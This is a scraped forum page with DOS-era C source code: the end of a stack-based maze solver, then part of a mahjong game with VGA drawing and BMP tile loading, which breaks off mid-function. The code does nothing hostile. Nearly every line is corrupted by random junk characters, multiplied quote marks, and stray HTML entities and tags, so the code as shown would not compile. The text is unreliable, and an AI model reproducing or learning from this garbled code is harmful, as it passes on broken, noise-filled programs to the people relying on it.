maze[seat.x][seat.y].mark=-1;* v1 i# B5 R$ n& g
/* Marking ''''''''''''''''''''''''''''''''-1'''''''''''''''''''''''''''''''' symbolize the current position cannot be put. */
2 e1 i3 H5 ~! v" c/ f8 U} /* MarkPrint */
; [( n2 u+ ?7 Yvoid FootPrint(PosType curpos)9 V( p7 h0 }/ O: A
/* The foot of the curpos of the maze has been set ''''''''''''''''''''''''''''''''true''''''''''''''''''''''''''''''''. */1 d2 m% o% S# a, _' ]$ @
{2 e& U/ q$ P  N7 j; y( P) @/ Q6 `3 P
maze[curpos.x][curpos.y].foot=1;
- W; \& s+ w1 Z' B9 |: |} /* FootPrint */
* i* c$ J8 \3 ]' y2 FPosType NextPos(PosType seat,int di)
1 N7 x# y. I& x; V6 L6 p{2 \0 U' L' E( Y9 H
switch(di)
# a: v/ X8 j" l& d9 u$ l2 K{# f" ^" t) H- e. J% s5 U- A8 q
case 1: seat.y++; return seat; /* Eastward */) ]5 A5 \5 M  n; x2 l# K
case 2: seat.x++; return seat; /* Southward */
1 F- F) X" x8 s1 b- p. jcase 3: seat.y--; return seat; /* Westward */
$ J  X. W+ f6 zcase 4: seat.x--; return seat; /* Northward */
' I- d- c* S1 k7 Q" vdefault: seat.x=0; seat.y=0; return seat;
+ p4 `" V" ~0 d}8 G, h1 u; B. E; i  p
} /* NextPos */
# G+ Q8 @6 j# f3 ^/ z4 B
* C- Z/ ?0 @% e) c5 F/* The key to the program. */1 A3 W4 ]5 V& T& h; p, N, _
/* Pre: The maze array &amp; the startplace &amp; the endplace.
) i, O) T" R- u8 c4 _7 k* CPost: Find the one traverse of the maze and perform the mazepath.
9 {4 i9 x0 S, B. Q$ X! A5 WUses: The ADT stack class.0 f4 K: l$ m+ E4 D# s. V# Q
*/
& @3 k  E# f( x' `2 o- ~Status MazePath(PosType start,PosType end)) N3 M( X# [" F' j
{
6 t  [4 ]' i' ^% cPosType curpos;
  ?' p6 z; Q# G9 j1 O, N) d9 Lint curstep;: P  o& g1 M# D( C  W
SElemType e;/ L1 h) X, `" J
Stack *s,stack;7 t. q: o0 O* F7 Y2 _
stack.base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));
, g; J" F* h* C3 I0 o0 C2 Eif(!stack.base) Error("Overflow");0 W) ?9 ?3 @. e
stack.top=stack.base;3 d" s+ a+ C* F0 s
stack.stacksize=STACK_INIT_SIZE;
, D1 i6 c% H0 n# Gs=&amp;stack;
. G3 C& y' t+ f% L# Acurpos=start;
& s. q2 b3 k1 x# k6 v* p6 e: ~! V4 rcurstep=1;8 a0 Q) z9 M4 D5 K( e
do
; E9 b3 x* w$ `6 {# N{( I7 n7 Q) J8 t" N0 M% `
if(Pass(curpos))4 a3 y7 |# l) R  j/ G
{4 C# p! n9 D# }" Q  F5 B& D
FootPrint(curpos);* ~6 [5 n# U" b+ l+ P- Y
e.ord=curstep; e.seat=curpos; e.di=1;
1 K$ j/ h( x5 l) ?gotoxy((curpos.y+1)*2,curpos.x+2);
- G2 l+ e: Y' l; ~' n- Lputch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');% r- k9 W; w: |6 _3 G! V  ~
delay(8000); /* pospone time. */6 K8 f0 w4 l. Q9 a0 h
Push(s,e);+ z7 t) g) e8 P5 Z
if(curpos.x==end.x&amp;&amp;curpos.y==end.y) /* Proceed recursively. */
; o$ i4 v: I! ]  ?. v7 v2 |( r# ~{
8 n  A& j: r' p+ t: @- M& tDestroyStack(s);
: {2 K; \2 f9 x+ preturn TRUE;
9 ~% ^/ J' F* p7 k! U}) K1 m' X0 j% k. a" r4 C
curpos=NextPos(curpos,1); /* Try next position. */' t4 T5 y7 A( S: G# }5 h  x8 g
curstep++;2 b) S- i/ x  t7 T2 s9 {$ t  U; Z0 Z
}
7 f5 K1 ]- [' C4 F- E* H9 V6 V) ielse
$ x+ M4 ]* N) x  X2 O{
6 ]+ h( j  o/ @8 Nif(!StackEmpty(s))
/ d& W) S" k. P, o3 [' c7 u, X{
) R* Q# O- b) w. y# }' me=Pop(s,e); /* Removed e from s. */4 V- W- u+ X3 l0 {) _* ?
while(e.di==4&amp;&amp;!StackEmpty(s)) /* Four directions have been checked# {' @5 p% l" l
and s is not empty. */! \/ l( Z' _* S: N5 h5 Z/ i; u  J
{
5 w- V  o7 R8 a( U" h+ JMarkPrint(e.seat);
& `( k2 Z( q6 f- p- A. Pgotoxy((e.seat.y+1)*2,e.seat.x+2);
0 l1 \' X; f5 z5 q4 M1 Sputch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');
9 {1 s: @# Y6 ~" {delay(8000); /* Pospone time. */
7 g) c* G' Z) igotoxy((e.seat.y+1)*2,e.seat.x+2);5 V5 f5 B* k8 Z4 Q- h: y0 b3 x
putch('''''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''''');
8 [5 a; r; |3 s/ ~e=Pop(s,e); /* Remove e from s. */
; L! ~) t2 p: Q) [curstep--;" ?, Q, o5 e" b8 X4 U- B
}
# O: W( }' E: I  |5 Q7 B% Hif(e.di&lt;4) /* The current position hasnot been checked. */
( B3 R7 M/ g8 R4 Y! U1 L. n$ K% S$ N{
9 R* N3 ?( c0 W5 Y. \+ h/ |e.di++;+ l# R& o6 `3 @! e7 N5 D
Push(s,e); /* Insert e into s. */* B8 N" v* y6 m5 [; a/ C
curpos=NextPos(e.seat,e.di); /* Try next position. */
# O  U' w2 N: ~8 J0 q; U}- p2 C6 Y' |4 F1 @$ Z" I
}# p( i( b7 o3 f( @! E5 a" O6 U
}
' {: z3 b5 u7 l/ M}3 \7 L3 h$ J5 \6 b6 L9 g
while(!StackEmpty(s));6 J. o+ b8 M0 }7 f/ I. c
DestroyStack(s);
7 ^* e1 T& R' G- ~5 O8 y2 W6 ureturn FALSE;& O( A4 n) P3 B( s. L( l
} /* MazePath */
0 u6 q6 o5 ]2 J7 P/ O' l7 V  i$ w+ Y8 uvoid main()
# o! }( P, O% C{
) Z1 F8 j! Z" d5 ]& O, fPosType start,end;& G8 s3 ~( t/ z* t
CreatMaze();
9 h2 i: i& \$ ?6 I# U$ o. |. dstart.x=StartPlace.y;
- D9 s. U, i5 @6 H: ~$ [start.y=StartPlace.x;5 N) e( C& W! m5 `  S* N4 I
end.x=EndPlace.y;
( A2 O- d* C5 N  X: h3 aend.y=EndPlace.x;! b9 L7 W/ [! D/ L
if(MazePath(start,end))/ K' U3 r; W  k1 f& B
{
. I6 `$ n- |$ C) q( Rgotoxy(2,22);
& k' ?" K+ Z6 K  q( n5 sprintf("ath found\n");
# d+ X( F( Y8 @+ V5 ~}" O3 Q4 f5 Q$ y* V
else
$ s& a' Q7 {0 `; G' _* O{
* w9 f0 S# v- V" y( d3 Fgotoxy(2,22);
$ c4 k6 F& U/ Y/ r6 [" S8 e, V: @printf("ath not found\n");
" f9 l/ l7 ]4 ]6 |! A; S$ j}1 A8 d9 L# t- }. d5 D) i
getch();
  d- c  Q2 ], q3 x, f8 Cclrscr();
0 {% O7 o* n* \8 A6 H8 L; }' E} </P></DIV>
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<><b><FONT color=#000000>.:.:上海黑暗之龙--麻将原代码:.:.</FONT></b></P><DIV 626px; HEIGHT: 132px" align=left>< align=left>部分图片未上传
' P+ S9 |* [6 i  B% P' M: d/*天宇软件1 o. b& {& Q! B+ X% b( T
作者:上海黑暗之龙
2 K1 D% ?* O$ t3 V8 P5 u6 M2002/10/305 v& b; S& [; W/ M" ?+ V
麻将原代码*/
% [' d- L6 m3 A* c% o#include "dos.h"
  s9 P' v& M& _7 i. D. r/ ?#include "stdio.h"3 {  |* E6 D4 r% R& w4 o
#include "graphics.h"
  u" Z3 r5 f5 c#include "bios.h"; r' @* r/ l0 Y$ T7 B0 N& D9 _
#include "conio.h"
* h8 d) `9 y! V* b" Z#include "stdlib.h"0 O& k! O; `# I6 T6 {: P
unsigned char far *video_buffer=(char far *)0xA0000000L;! f( A. J! n. ?7 b
#define VGA256 0x13 /*图形模式13h*/
/ o5 q" m6 W, w% v3 g#define TEXT_MODE 0x03 /*普通文本模式*/+ f* M! m* ]$ P& X/ W5 Q
#define SETVGA Set_Video_Mode(VGA256)
& ^% V! k; A; t6 c, }% ^#define OUTVGA Set_Video_Mode(TEXT_MODE)) Y1 ?1 X2 A; u* |
#define BYTE unsigned char
: W. d4 F3 i9 Z: R0 F* Z) l/ A#define WORD unsigned int
% d  W+ P; x- h#define DWORD unsigned int
0 ]/ L$ [: Y9 i  ?8 y9 g1 \2 @: ?#define ESC 283
7 ?4 O6 g  E! f#define LEFT 19200& J  [/ ^; n6 Y4 V% L" S2 {; i- U5 {
#define RIGHT 19712
2 M- s. I! ~% X0 Y: n% j#define H 9064
9 }# }7 i, E3 y#define ENTER 7181
" J9 K' [1 x" X4 z/ hunsigned long int z=54400,zz=0,zy=0,zyy=0,z1=0,zl=10140;
# }! `/ j5 {( T- Mint key=0,keyy=0,sing=0,sing1=0,second=0,threes=0;
6 O* N1 _2 j4 O5 ]& \" P( Ystruct chi
: b8 q: J; ~" J/ D& L) }) _0 ]! A- d{8 B- W! ~+ v0 g( t
int lg;* c& s& h6 \+ Q& d  Q
int lgg;
9 B' w9 g$ H) A}ch[13];- f, C# L% ~0 w9 |5 ]0 O0 t: |+ ?* `
struct mj
5 [% y. W) A1 O- i! ?+ Y{ char *name; /*名字*/0 W4 b+ D; J- z% Y" Q
int data1; /*是否已出,无用了*/& q5 b9 I0 E5 Z6 k8 Z
int data2; /*是否在手中,1为自己,2为对方*/
- r9 ^- g# g2 aint number; /*同一个花色的第几张,共4张*/
# J/ {$ l0 c& Z5 }$ Z4 o% }}m[136]={"1.bmp",0,0,1,"1.bmp",0,0,2,"1.bmp",0,0,3,"1.bmp",0,0,4,"2.bmp",0,0,1,- e5 t! G3 i4 S0 @( Y
"2.bmp",0,0,2,"2.bmp",0,0,3,"2.bmp",0,0,4,"3.bmp",0,0,1,"3.bmp",0,0,2,
0 Z7 D4 z& U; I"3.bmp",0,0,3,"3.bmp",0,0,4,"4.bmp",0,0,1,"4.bmp",0,0,2,"4.bmp",0,0,3,
5 h/ E, |' v& d4 Q. o"4.bmp",0,0,4,"5.bmp",0,0,1,"5.bmp",0,0,2,"5.bmp",0,0,3,"5.bmp",0,0,4,
* h, v7 B, u/ \/ R  m9 X7 A"6.bmp",0,0,1,"6.bmp",0,0,2,"6.bmp",0,0,3,"6.bmp",0,0,4,"7.bmp",0,0,1,3 A; x/ Y: V$ O( m! C
"7.bmp",0,0,2,"7.bmp",0,0,3,"7.bmp",0,0,4,"8.bmp",0,0,1,"8.bmp",0,0,2,
! T; g1 v+ O6 a; a"8.bmp",0,0,3,"8.bmp",0,0,4,"9.bmp",0,0,1,"9.bmp",0,0,2,"9.bmp",0,0,3,
3 f) J, I! V5 e"9.bmp",0,0,4,"10.bmp",0,0,1,"10.bmp",0,0,2,"10.bmp",0,0,3,"10.bmp",0,0,4,
: T1 h+ s4 _9 \2 }1 |' T1 ?) A"11.bmp",0,0,1,"11.bmp",0,0,2,"11.bmp",0,0,3,"11.bmp",0,0,4,"12.bmp",0,0,1,5 s$ W! B& Y$ V3 @9 W
"12.bmp",0,0,2,"12.bmp",0,0,3,"12.bmp",0,0,4,"13.bmp",0,0,1,"13.bmp",0,0,2,
" r4 k# g2 M3 X$ V1 K! O4 p. v8 J"13.bmp",0,0,3,"13.bmp",0,0,4,"14.bmp",0,0,1,"14.bmp",0,0,2,"14.bmp",0,0,3,4 C: H+ q# M8 N- x# i
"14.bmp",0,0,4,"15.bmp",0,0,1,"15.bmp",0,0,2,"15.bmp",0,0,3,"15.bmp",0,0,4,9 ]: c9 {" L/ e5 ?$ [
"16.bmp",0,0,1,"16.bmp",0,0,2,"16.bmp",0,0,3,"16.bmp",0,0,4,"17.bmp",0,0,1,
2 M3 i+ N' s2 i: w  R, }) }( o"17.bmp",0,0,2,"17.bmp",0,0,3,"17.bmp",0,0,4,"18.bmp",0,0,1,"18.bmp",0,0,2,( j. I# S3 u& h) V. |4 @1 K2 u
"18.bmp",0,0,3,"18.bmp",0,0,4,"19.bmp",0,0,1,"19.bmp",0,0,2,"19.bmp",0,0,3,
$ ]6 @2 z) ?. Z: S5 [: k"19.bmp",0,0,4,"20.bmp",0,0,1,"20.bmp",0,0,2,"20.bmp",0,0,3,"20.bmp",0,0,4,
  L# }# x. U; \"21.bmp",0,0,1,"21.bmp",0,0,2,"21.bmp",0,0,3,"21.bmp",0,0,4,"22.bmp",0,0,1,' B4 k; D3 s, T0 Q. u9 X
"22.bmp",0,0,2,"22.bmp",0,0,3,"22.bmp",0,0,4,"23.bmp",0,0,1,"23.bmp",0,0,2,; T5 }/ u* i, W. X5 V, \
"23.bmp",0,0,3,"23.bmp",0,0,4,"24.bmp",0,0,1,"24.bmp",0,0,2,"24.bmp",0,0,3,, x; G/ L1 L) q# H$ x
"24.bmp",0,0,4,"25.bmp",0,0,1,"25.bmp",0,0,2,"25.bmp",0,0,3,"25.bmp",0,0,4,7 v! a9 B7 P4 t7 j, K1 H6 E
"26.bmp",0,0,1,"26.bmp",0,0,2,"26.bmp",0,0,3,"26.bmp",0,0,4,"27.bmp",0,0,1,
8 x! G; i9 p! z+ i7 m8 @, A( k"27.bmp",0,0,2,"27.bmp",0,0,3,"27.bmp",0,0,4,"28.bmp",0,0,1,"28.bmp",0,0,2,
' e! |3 B- }6 g- t% r"28.bmp",0,0,3,"28.bmp",0,0,4,"29.bmp",0,0,1,"29.bmp",0,0,2,"29.bmp",0,0,3,8 E9 e3 M2 k( D/ ?
"29.bmp",0,0,4,"30.bmp",0,0,1,"30.bmp",0,0,2,"30.bmp",0,0,3,"30.bmp",0,0,4,  ^+ N% M1 e2 {$ j  J; [5 r
"31.bmp",0,0,1,"31.bmp",0,0,2,"31.bmp",0,0,3,"31.bmp",0,0,4,"32.bmp",0,0,1,
/ A7 k/ M  h, w" e"32.bmp",0,0,2,"32.bmp",0,0,3,"32.bmp",0,0,4,"33.bmp",0,0,1,"33.bmp",0,0,2,) `6 `9 v/ A& H7 m
"33.bmp",0,0,3,"33.bmp",0,0,4,"34.bmp",0,0,1,"34.bmp",0,0,2,"34.bmp",0,0,3,1 }7 v, M3 {5 I9 x' J. w
"34.bmp"};
& g+ ^0 S$ W% k/ V/ Wstruct every
+ E1 m! _! ]* ]7 J+ Q{ int *k; /*名字*/4 `6 w9 @# }3 P9 k; ]% [
int oneorfour; /*同一张牌的第几张*/
. ^  |$ K0 X# @9 j, J* H2 e+ K, Iint number; /*第几张牌136*/
$ W* n  }% W; A, D$ R" aint p;
/ {* A/ z4 Q% @7 T& l  _int g;0 d) v; _6 i4 B
int c;
% _, X' O5 u: P1 l& V6 ?4 h, tint d[2];
& s$ `( o9 p3 `: j4 v3 d% \};# H3 [7 |( W: Y, G) S
struct me' e+ t4 c) H8 e: ^9 j9 j  z8 [: A
{ int m; /*定义有几张牌,开始有13张随着游戏的进行,会越来越小*/
. a! u7 u5 }9 v, R# S) nint p; /*乓对方*/; G2 t0 _, D7 [4 q4 i! P
int c; /*吃对方*/4 Q9 ~: ~% R1 R2 A  _0 q
int g; /*杠*/* W/ P  E. b8 s  R
6 ~$ K1 n8 I( G8 I& F, P
struct every pp[14]; /*存放手上的牌*/
  W% [( s( ]; l7 f( z" j- K" j  O}me;
7 _- A9 U6 B7 E+ z2 K" K- }struct computer9 m  W+ ?6 H9 C# P6 F( p: k. x
{ int m;
3 i; _3 [  O7 jint p;* `+ x8 ?' }7 U8 y, r: Z
int c;
. d6 f- ^, R, [" ^8 }int g;6 z, t8 H( d8 Q  |9 o: |1 s
struct every pp[14];+ z: @2 C' S0 S/ p& r  W9 Y; g
}computer,comp;
) B# P0 J8 W0 O" c; V9 Q! \( C9 C- a2 s( ~! o( _
/* 设置调色板 */
' L* O4 M6 d* R# Mvoid Set_Palette(int Color,BYTE r,BYTE g,BYTE b)
8 j$ |/ y' E& ~% i& }/ F: v{: u8 H. s4 K5 N
outportb(0x3c8,Color); /*0x3c8写端口 写色号*// j8 z3 B& c! ?+ h& j4 \- g
outportb(0x3c9,r); /*0x3c9数据端口 R、G、B的比例*/
+ C$ h- W* J3 D4 Q& Houtportb(0x3c9,g);
- n0 E5 [$ p* b7 e5 `outportb(0x3c9,b);
) Y# x" P+ }/ [8 `8 ?; P( }; }}
8 R5 O, h- Q" |/*0x3c7读端口 0x3c6计算机调色板寄存器调用端口*/
3 }5 y; M& |% q9 @# K: z7 _  ~/* 设置显示模式的函数 */3 [( t" R' \! @8 {) n" O5 c/ ^! ~
void Set_Video_Mode(int mode); G: w. A7 W/ r7 z# l
{
, q5 q0 E' E# H8 n* d( e& xunion REGS inregs,outregs; /*定义输入和返回寄存器*/
* G% W$ o/ _$ }- ]2 C9 Ainregs.h.ah=0; /*ah存放功能号0h表示进入视频模式*/5 h. U3 {: U+ j# E
inregs.h.al=(unsigned char)mode; /*al存放要设定的视频模式*/
; P2 R$ ^! s5 i0 {int86(0x10,&amp;inregs,&amp;outregs); /*通过10h中断设定显示模式int86()包含在dos.h*/: O# i+ |1 f" _# w" `6 q) }
}
- C* ?1 ?- G- {0 y) \void v_line(int y0,int y1,int x,unsigned int color). S5 ~6 k  E8 R% ^) `4 J  c. \) |
{ unsigned int address,n,temp;
/ f) |% k2 v9 [3 Mif(y0&gt;y1)
* d. w) w6 \) p+ a, b{
3 z+ X1 j' ~( H2 b. X0 k# ]# j, \( _' utemp=y1;
: M8 S1 z5 k) _- w% ry1=y0;  W3 E  s1 y2 L: G0 ~0 l) @
y0=temp;7 n- f  J5 I( [& I: g$ V  u9 z- K
}
- e& z6 R% L+ U( e3 Taddress=320*y0+x;9 y0 C2 k7 J5 x- M0 [) x
for(n=0;n&lt;=y1-y0;n++)
, l' m; P6 V. v/ P% P" y7 ^! i{' n5 @7 k* P  `  T5 Q/ t
video_buffer[address]=color;2 ?( w, r  y" B- z4 q/ `% p6 i  V
address+=320;
! ?0 W6 |7 w3 C1 n8 e' F}
9 v" `) d* C* n4 E1 [0 j5 M! }}* w4 z9 d0 _1 D2 h
void h_line(int x0,int x1,int y,unsigned int color)
3 q/ J6 ]' E4 o3 ~8 ?{ unsigned int address,n,temp;
8 l* ]" H- t! I7 i. U' H) ?if(x0&gt;x1)
0 S1 v! i* Z0 {( e# s{7 f! n" v! l; e! ~
temp=x1;# z9 @. p! K/ Y. @9 G) x3 v' Z
x1=x0;# g! ^% P! l+ ^# g
x0=temp;
8 F! l# j) ~8 e# L}
' o( y8 t* l! Q# e3 f$ v; r; Qaddress=320*y+x0;
3 W: L, O1 R9 Z7 o8 M0 G) R3 Y' @for(n=0;n&lt;=x1-x0;n++)
7 X6 \; t* q  H1 `2 D$ [" d{& i( ^' g2 b1 U# @( Q) [
video_buffer[address]=color;
, Z: T6 R. z1 j# y) Saddress+=1;' D1 q) u1 \% h$ |+ B
}
! p0 V' t6 p* `& K: O/ ]( C}
6 R1 A+ S  l" b  m7 v" mvoid p_pixel(int x,int y,unsigned int color)$ Q, A2 I# n3 [% j0 u- y
{ video_buffer[y*320+x]=color;
9 o" l8 J" n- y0 x/ }& }+ z}( X0 T" i8 \9 I9 }3 f
void s_square(int x,int y,int side,int color)+ m9 H7 G+ `; v0 x9 {# U9 @
{6 p* X3 O& {1 [. D5 [7 B) p
h_line(x,x+side,y,color);. P1 p( u  l0 `4 r. e/ o
h_line(x,x+side,y+side,color);1 R5 M! p! W2 x% c% D; P
v_line(y,y+side,x,color);
- _$ `4 q% e( j8 n4 C  S0 {v_line(y,y+side,x+side,color);0 _! G0 @# Y3 {
}. [6 y/ f+ d7 |
void r_rectangle(int x1,int y1,int x2,int y2,int color)
  A' c4 s  {  z% U{" {3 c8 W' y& E6 E
h_line(x1,x2,y1,color);5 t0 ?) c1 E2 q( e' T. ?. B: P
h_line(x1,x2,y2,color);, o8 X) o+ E" j7 K$ B
v_line(y1,y2,x1,color);
9 Y( J8 U9 i; z5 l( O, Zv_line(y1,y2,x2,color);, `9 l/ u  `) \
}" m) g+ X& g3 [! U6 C. C
void fillRectangle(int x1,int y1,int x2,int y2,int color)
3 C3 e0 `! \5 @! m{9 f# v1 B/ ^) q# W2 l4 v
int i;2 N: O& S* ^' n$ d
for(i=y1;i&lt;=y2;i++)
9 v4 ^8 n4 z7 G$ k+ u{
9 ]3 ~( v$ ?2 ?8 o& Z8 u! Lh_line(x1,x2,i,color);3 {' G3 t. u% u  r& [
}) Y( R5 m) T, y: x9 S# V
}. H# o; U" {6 v  j  `
void showbmp(int l)
7 G% K) C  J6 N( ]- ?{ FILE *bmp;$ c8 G% V) u1 ^( l
int i,x,y;, p8 N* @3 m# S; m4 T) E
BYTE palette[256][3];
' P8 X; C3 `) q2 m  |1 S# {/ R6 }bmp=fopen(me.pp[l].k,"rb");2 F0 @/ a  e0 [
fseek(bmp,54,SEEK_SET);6 C8 L6 G: F# B' ~( j
for(i=0;i&lt;256;i++)
5 w. d  I5 }0 q! ?# T{/ ?+ V  W1 V5 m, ?# ?% Y- a7 D
palette[2]=fgetc(bmp)&gt;&gt;2;9 k( d  _6 I  e
palette[1]=fgetc(bmp)&gt;&gt;2;* L& M( a" O) x2 h7 w8 q: B. R+ S
palette[0]=fgetc(bmp)&gt;&gt;2;
# M# ?) T' w$ O3 K8 ~: E1 q+ yfgetc(bmp);6 L  {2 ?% S7 u9 e4 E3 j" f. n9 a% A
Set_Palette(i,palette[0],palette[1],palette[2]);
3 o* B7 }! v+ \( q# Y9 ]7 j}9 C* O/ {# s$ F; h2 n: P, o5 O; g3 ]
for (y=0;y&lt;30;y++)
1 m; r0 J; [( s' g( Afor(x=0;x&lt;20;x++)
6 ~) |2 \/ h) c4 w3 Mpokeb(0xa000,y*320+x+z+zz+z1,fgetc(bmp));; Q, u$ M. k% ?/ I9 G2 _8 x
fclose(bmp);
$ h$ }( J( ]' h- G}9 L# C8 J$ A' ?0 \' Y' c
void showbmpd(int l)
% R" R0 R! [. z( G! J# Z" T7 B{ FILE *bmp;
/ v- s* i5 y6 a8 r8 @& M. Kint i,x,y;. K9 A. v( g3 O  j8 U% v" ^$ B
BYTE palette[256][3];7 I' C. E6 P8 Z1 C2 `
bmp=fopen(me.pp[l].k,"rb");- I; C: L7 U4 x( ^
fseek(bmp,54,SEEK_SET);" G0 V( k7 x. q3 d0 |% Y* e* P) Z
for(i=0;i&lt;256;i++)
! ]0 h' Y. d& T9 Y' A7 q{
# V) N) K/ Q0 K# J" R1 z2 c) p1 Npalette[2]=fgetc(bmp)&gt;&gt;2;8 `5 S, j# x" W
palette[1]=fgetc(bmp)&gt;&gt;2;
! g) n) }' t" i0 p  n- Jpalette[0]=fgetc(bmp)&gt;&gt;2;* I' P; D7 Z( o# ~- o4 K! _% ^8 A
fgetc(bmp);
0 W* @! Q: h& Q% ^Set_Palette(i,palette[0],palette[1],palette[2]);
2 J4 N1 u' r/ Q1 u/ m$ o/ S3 O}
: A9 X, }6 h( ?& rfor (y=0;y&lt;30;y++)( g  S" d8 H4 N7 @
for(x=0;x&lt;20;x++)
- O! Y$ Y1 s% U1 Y$ a  s; epokeb(0xa000,y*320+x+zyy,fgetc(bmp));
7 h) V) B" `! _  ~( ffclose(bmp);
* P4 W9 ]& J8 k( C: [1 u}" [2 ]8 k& y  F5 {" c% ?9 l
void showybmp(int ll)
4 q0 Y& e- {, [3 S( k{ FILE *bmp;
+ D9 P* D, `: G2 y- a! tint i,x,y;% g+ @3 w6 u8 ?# s- h# h( s( p
BYTE palette[256][3];* t+ q) ~% P+ F8 ^- P4 B3 s+ H
bmp=fopen(computer.pp[ll].k,"rb");
% n) O6 [  A7 j( ofseek(bmp,54,SEEK_SET);
" m! J1 i0 `) N1 o8 y7 @1 _& {for(i=0;i&lt;256;i++)7 Q7 U. ?! B2 ^3 e( [, K* B; k$ s4 b
{& Z% l3 J- W& a
palette[2]=fgetc(bmp)&gt;&gt;2;$ Y# ]( v( d9 I
palette[1]=fgetc(bmp)&gt;&gt;2;' A/ |' ?. R- R
palette[0]=fgetc(bmp)&gt;&gt;2;
  q7 d* Z6 z; T5 _* N" tfgetc(bmp);# p" E; ]" \( b0 a5 T# w. ?
Set_Palette(i,palette[0],palette[1],palette[2]);% k6 {  I. {6 K! t/ l3 U: S& H( Q
}: u2 N7 b7 U& H( _; u, N" O" V7 X4 n
for (y=0;y&lt;30;y++)
6 g( s2 p/ f2 Z6 v& J- Efor(x=0;x&lt;20;x++): k! r! n% Y- i+ M2 a
pokeb(0xa000,y*320+x+zy,fgetc(bmp));8 N$ |4 @' {1 V9 ^4 S2 m: h  q7 S8 P
fclose(bmp);
3 r6 m$ a1 K' N5 W: i3 ^1 \}
0 y& x1 U2 a) lvoid showcbmp(int ll)
! J( Z$ P4 K" ~4 `2 j3 q{ FILE *bmp;
& y* @* J  Z* `" h' q% d7 X% pint i,x,y;
- o# @$ |0 i: i+ E8 L: @' qBYTE palette[256][3];
2 z0 }- s0 J7 ?5 {9 Vbmp=fopen(computer.pp[ll].k,"rb");
. Q0 k7 I: C% T1 Y8 \1 k& o! Q4 m6 Efseek(bmp,54,SEEK_SET);
  X  Y; S! ?5 E0 }; ^for(i=0;i&lt;256;i++)
; G: N- D: \5 K* u, u# t$ i: I' h{$ N  I8 k8 g) G
palette[2]=fgetc(bmp)&gt;&gt;2;
' y/ x- @5 w& b8 |* opalette[1]=fgetc(bmp)&gt;&gt;2;
* X7 [% g" Z5 P/ ~palette[0]=fgetc(bmp)&gt;&gt;2;" X- ~2 c! j3 n6 V0 g: r
fgetc(bmp);
) K! m2 Z5 G7 d+ bSet_Palette(i,palette[0],palette[1],palette[2]);7 R* k) N7 _" h
}3 r$ D$ _  w! ~" p
for (y=0;y&lt;30;y++)
6 z! x. W1 ^5 m! O& Ffor(x=0;x&lt;20;x++)+ O% L$ S( g  r' U0 k' F
pokeb(0xa000,y*320+x+zyy,fgetc(bmp));
' g% U8 u3 U( _/ p7 A. yfclose(bmp);
& ?. T8 F7 v$ R" ~$ ], q; ~2 D}1 ]( l# C" a* q4 k
void bmpp(int number)
. ^/ n, \$ E/ S% j8 Z/ M{ FILE *bmp;
) r  w# p+ n8 W6 x' W6 [+ Y8 ]+ eint i,x,y;! h* U9 D) m# A& E' L
BYTE palette[256][3];- u" H9 y# }7 A0 P$ J) B, W
bmp=fopen(m[number].name,"rb");
, l! i4 U: I: z# tfseek(bmp,54,SEEK_SET);
. s8 L+ E, z3 k' n3 jfor(i=0;i&lt;256;i++)( ]+ s$ y& z; k7 r3 R0 ]2 q  q
{
( o# Y( D# V* i. G/ D8 r& {$ tpalette[2]=fgetc(bmp)&gt;&gt;2;3 w7 b  E) J- w* L
palette[1]=fgetc(bmp)&gt;&gt;2;* D$ z7 B' O+ T8 F4 _2 i7 A: {9 M
palette[0]=fgetc(bmp)&gt;&gt;2;
8 N7 E" l3 ]4 G1 S$ Efgetc(bmp);+ R6 \/ R3 j& y; k
Set_Palette(i,palette[0],palette[1],palette[2]);
* O$ X" ~& T! Q}: m/ [$ B7 B, c% x5 l: o3 F
for (y=0;y&lt;30;y++)
: d$ _, ^7 S; V. n: @for(x=0;x&lt;20;x++)' v, X+ `) G' `' B5 c
pokeb(0xa000,y*320+x+zl,fgetc(bmp));
9 G* B, {9 r" Tfclose(bmp);
% r+ x& g1 r* \* M) E5 n: w% |}. n- x, M0 K' e2 |$ U6 g
void comlipai() /*整理电脑的牌*/
- y% r+ u! y, G1 F: X. y5 W) r{ int n,j,u;* Z5 Q2 x2 {4 T! A
int *lingshi;3 }' @6 V3 f. C- j8 a
for(n=0;n&lt;computer.m;n++)2 `8 [- \4 S3 f1 `6 i
for(j=n;j&lt;computer.m;j++)
, @* q; b! N$ B! ^{
9 `4 {  ?& e8 P5 i* fif(computer.pp[n].number&gt;computer.pp[j+1].number)
* a) h) b/ r3 u3 n0 ]2 O{1 X$ k. P" X8 P0 E/ b1 `, [% S
lingshi=computer.pp[n].k;2 P7 }( [+ t% S: {- i# @9 N
computer.pp[n].k=computer.pp[j+1].k;
, Y1 M3 M6 _  c* m' a) h$ l; Hcomputer.pp[j+1].k=lingshi;3 ^! Y# K8 j" V+ d
u=computer.pp[n].oneorfour;
; w* |8 }. w/ ~: lcomputer.pp[n].oneorfour=computer.pp[j+1].oneorfour;
2 T8 v1 y- q, |computer.pp[j+1].oneorfour=u;
9 L) V" a/ v8 H) O: q; Ou=computer.pp[n].number;
* W5 X- g0 `4 {) n) kcomputer.pp[n].number=computer.pp[j+1].number;3 [, F2 ]% M+ J
computer.pp[j+1].number=u;: c. C# i8 V; B* W
}7 H* u- E& Z8 }6 d8 \& h. T9 R, b
else
( x% E9 T* k8 T& \if(computer.pp[n].number==computer.pp[j+1].number)9 i0 o3 x/ {* E2 M* ~# c
if(computer.pp[n].oneorfour&gt;computer.pp[j+1].oneorfour)4 K3 S! x/ M% v6 U3 M
{
0 }1 V3 y8 K: u1 a( Olingshi=computer.pp[n].k;; ~6 b: i$ }! ^8 m. R& |
computer.pp[n].k=computer.pp[j+1].k;+ R! i: J$ c5 C6 ^) T1 }# U
computer.pp[j+1].k=lingshi;! w3 @  P1 G( ?# F- L0 F+ [" R1 E
u=computer.pp[n].oneorfour;0 P. ?( b  s+ a" Z6 B( ]: y2 D
computer.pp[n].oneorfour=computer.pp[j+1].oneorfour;0 H7 A5 f3 X2 }! e
computer.pp[j+1].oneorfour=u;# N& N+ C$ {4 G" p4 [* Q" e
u=computer.pp[n].number;
